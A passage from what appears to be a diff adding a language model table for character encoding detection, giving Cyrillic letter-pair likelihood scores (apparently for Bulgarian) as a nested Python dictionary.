'д' + 3: 2, # 'е' + 23: 1, # 'ж' + 15: 1, # 'з' + 2: 2, # 'и' + 26: 1, # 'й' + 12: 2, # 'к' + 10: 1, # 'л' + 14: 1, # 'м' + 6: 2, # 'н' + 4: 2, # 'о' + 13: 1, # 'п' + 7: 1, # 'р' + 8: 2, # 'с' + 5: 1, # 'т' + 19: 1, # 'у' + 29: 0, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 2, # 'ч' + 27: 1, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 48: { # 'Ф' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 0, # 'М' + 36: 1, # 'Н' + 41: 1, # 'О' + 30: 2, # 'П' + 39: 1, # 'Р' + 28: 2, # 'С' + 34: 1, # 'Т' + 51: 1, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 2, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 2, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 2, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 2, # 'о' + 13: 0, # 'п' + 7: 2, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 1, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 49: { # 'Х' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 1, # 'А' + 32: 0, # 'Б' + 35: 1, # 'В' + 43: 1, # 'Г' + 37: 1, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 1, # 'О' + 30: 1, # 'П' + 39: 1, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 1, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 2, # 'а' + 18: 0, # 'б' + 9: 1, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 2, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 1, # 'л' + 14: 1, # 'м' + 6: 0, # 'н' + 4: 2, # 'о' + 13: 0, # 'п' + 7: 2, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 53: { # 'Ц' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 1, # 'А' + 32: 0, # 'Б' + 35: 1, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 2, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 1, # 'Р' + 28: 2, # 'С' + 34: 0, # 'Т' + 51: 1, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 2, # 'а' + 18: 0, # 'б' + 9: 2, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 2, # 'е' + 23: 0, # 'ж' + 15: 1, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 1, # 'о' + 13: 0, # 'п' + 7: 1, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 1, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 50: { # 'Ч' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 1, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 0, # 'М' + 36: 1, # 'Н' + 41: 1, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 1, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 2, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 3, # 'е' + 23: 1, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 1, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 2, # 'о' + 13: 0, # 'п' + 7: 1, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 1, # 'ь' + 42: 0, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 54: { # 'Ш' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 1, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 1, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 1, # 'Н' + 41: 1, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 1, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 2, # 'а' + 18: 0, # 'б' + 9: 2, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 2, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 1, # 'л' + 14: 1, # 'м' + 6: 1, # 'н' + 4: 2, # 'о' + 13: 1, # 'п' + 7: 1, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 1, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 1, # 'ь' + 42: 0, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 57: { # 'Щ' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 1, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 1, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 2, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 2, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 1, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 1, # 'о' + 13: 0, # 'п' + 7: 1, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 1, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 61: { # 'Ъ' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 0, # 'Г' + 37: 1, # 'Д' + 44: 0, # 'Е' + 55: 1, # 'Ж' + 47: 1, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 2, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 0, # 'О' + 30: 1, # 'П' + 39: 2, # 'Р' + 28: 1, # 'С' + 34: 1, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 1, # 'Х' + 53: 1, # 'Ц' + 50: 1, # 'Ч' + 54: 1, # 'Ш' + 57: 1, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 0, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 0, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 0, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 1, # 'л' + 14: 0, # 'м' + 6: 1, # 'н' + 4: 0, # 'о' + 13: 0, # 'п' + 7: 1, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 0, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 60: { # 'Ю' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 1, # 'А' + 32: 1, # 'Б' + 35: 0, # 'В' + 43: 1, # 'Г' + 37: 1, # 'Д' + 44: 0, # 'Е' + 55: 1, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 0, # 'М' + 36: 1, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 1, # 'Р' + 28: 1, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 0, # 'а' + 18: 1, # 'б' + 9: 1, # 'в' + 20: 2, # 'г' + 11: 1, # 'д' + 3: 0, # 'е' + 23: 2, # 'ж' + 15: 1, # 'з' + 2: 1, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 1, # 'л' + 14: 1, # 'м' + 6: 1, # 'н' + 4: 0, # 'о' + 13: 1, # 'п' + 7: 1, # 'р' + 8: 1, # 'с' + 5: 1, # 'т' + 19: 0, # 'у' + 29: 0, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 56: { # 'Я' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 1, # 'Г' + 37: 1, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 1, # 'С' + 34: 2, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 0, # 'а' + 18: 1, # 'б' + 9: 1, # 'в' + 20: 1, # 'г' + 11: 1, # 'д' + 3: 0, # 'е' + 23: 0, # 'ж' + 15: 1, # 'з' + 2: 1, # 'и' + 26: 1, # 'й' + 12: 1, # 'к' + 10: 1, # 'л' + 14: 2, # 'м' + 6: 2, # 'н' + 4: 0, # 'о' + 13: 2, # 'п' + 7: 1, # 'р' + 8: 1, # 'с' + 5: 1, # 'т' + 19: 0, # 'у' + 29: 0, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 1, # 'ш' + 24: 0, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 1: { # 'а' + 63: 1, # 'e' + 45: 1, # '\xad' + 31: 1, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 1, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 3, # 'г' + 11: 3, # 'д' + 3: 3, # 'е' + 23: 3, # 'ж' + 15: 3, # 'з' + 2: 3, # 'и' + 26: 3, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 2, # 'о' + 13: 3, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 3, # 'у' + 29: 3, # 'ф' + 25: 3, # 'х' + 22: 3, # 'ц' + 21: 3, # 'ч' + 27: 3, # 'ш' + 24: 3, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 18: { # 'б' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 0, # 'б' + 9: 3, # 'в' + 20: 1, # 'г' + 11: 2, # 'д' + 3: 3, # 'е' + 23: 1, # 'ж' + 15: 1, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 3, # 'л' + 14: 2, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 1, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 0, # 'т' + 19: 3, # 'у' + 29: 0, # 'ф' + 25: 2, # 'х' + 22: 1, # 'ц' + 21: 1, # 'ч' + 27: 1, # 'ш' + 24: 3, # 'щ' + 17: 3, # 'ъ' + 52: 1, # 'ь' + 42: 2, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 9: { # 'в' + 63: 1, # 'e' + 45: 1, # '\xad' + 31: 0, # 'А' + 32: 1, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 1, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 0, # 'в' + 20: 2, # 'г' + 11: 3, # 'д' + 3: 3, # 'е' + 23: 1, # 'ж' + 15: 3, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 2, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 2, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 2, # 'х' + 22: 2, # 'ц' + 21: 3, # 'ч' + 27: 2, # 'ш' + 24: 1, # 'щ' + 17: 3, # 'ъ' + 52: 1, # 'ь' + 42: 2, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 20: { # 'г' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 2, # 'в' + 20: 1, # 'г' + 11: 2, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 1, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 3, # 'л' + 14: 1, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 1, # 'п' + 7: 3, # 'р' + 8: 2, # 'с' + 5: 2, # 'т' + 19: 3, # 'у' + 29: 1, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 1, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 3, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 11: { # 'д' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 2, # 'б' + 9: 3, # 'в' + 20: 2, # 'г' + 11: 2, # 'д' + 3: 3, # 'е' + 23: 3, # 'ж' + 15: 2, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 3, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 1, # 'т' + 19: 3, # 'у' + 29: 1, # 'ф' + 25: 2, # 'х' + 22: 2, # 'ц' + 21: 2, # 'ч' + 27: 1, # 'ш' + 24: 1, # 'щ' + 17: 3, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 3: { # 'е' + 63: 0, # 'e' + 45: 1, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 2, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 3, # 'г' + 11: 3, # 'д' + 3: 2, # 'е' + 23: 3, # 'ж' + 15: 3, # 'з' + 2: 2, # 'и' + 26: 3, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 3, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 2, # 'у' + 29: 3, # 'ф' + 25: 3, # 'х' + 22: 3, # 'ц' + 21: 3, # 'ч' + 27: 3, # 'ш' + 24: 3, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 23: { # 'ж' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 3, # 'б' + 9: 2, # 'в' + 20: 1, # 'г' + 11: 3, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 2, # 'к' + 10: 1, # 'л' + 14: 1, # 'м' + 6: 3, # 'н' + 4: 2, # 'о' + 13: 1, # 'п' + 7: 1, # 'р' + 8: 1, # 'с' + 5: 1, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 1, # 'ц' + 21: 1, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 15: { # 'з' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 3, # 'г' + 11: 3, # 'д' + 3: 3, # 'е' + 23: 1, # 'ж' + 15: 1, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 3, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 3, # 'у' + 29: 1, # 'ф' + 25: 2, # 'х' + 22: 2, # 'ц' + 21: 2, # 'ч' + 27: 2, # 'ш' + 24: 1, # 'щ' + 17: 2, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 2, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 2: { # 'и' + 63: 1, # 'e' + 45: 1, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 1, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 1, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 1, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 3, # 'г' + 11: 3, # 'д' + 3: 3, # 'е' + 23: 3, # 'ж' + 15: 3, # 'з' + 2: 3, # 'и' + 26: 3, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 3, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 2, # 'у' + 29: 3, # 'ф' + 25: 3, # 'х' + 22: 3, # 'ц' + 21: 3, # 'ч' + 27: 3, # 'ш' + 24: 3, # 'щ' + 17: 2, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 26: { # 'й' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 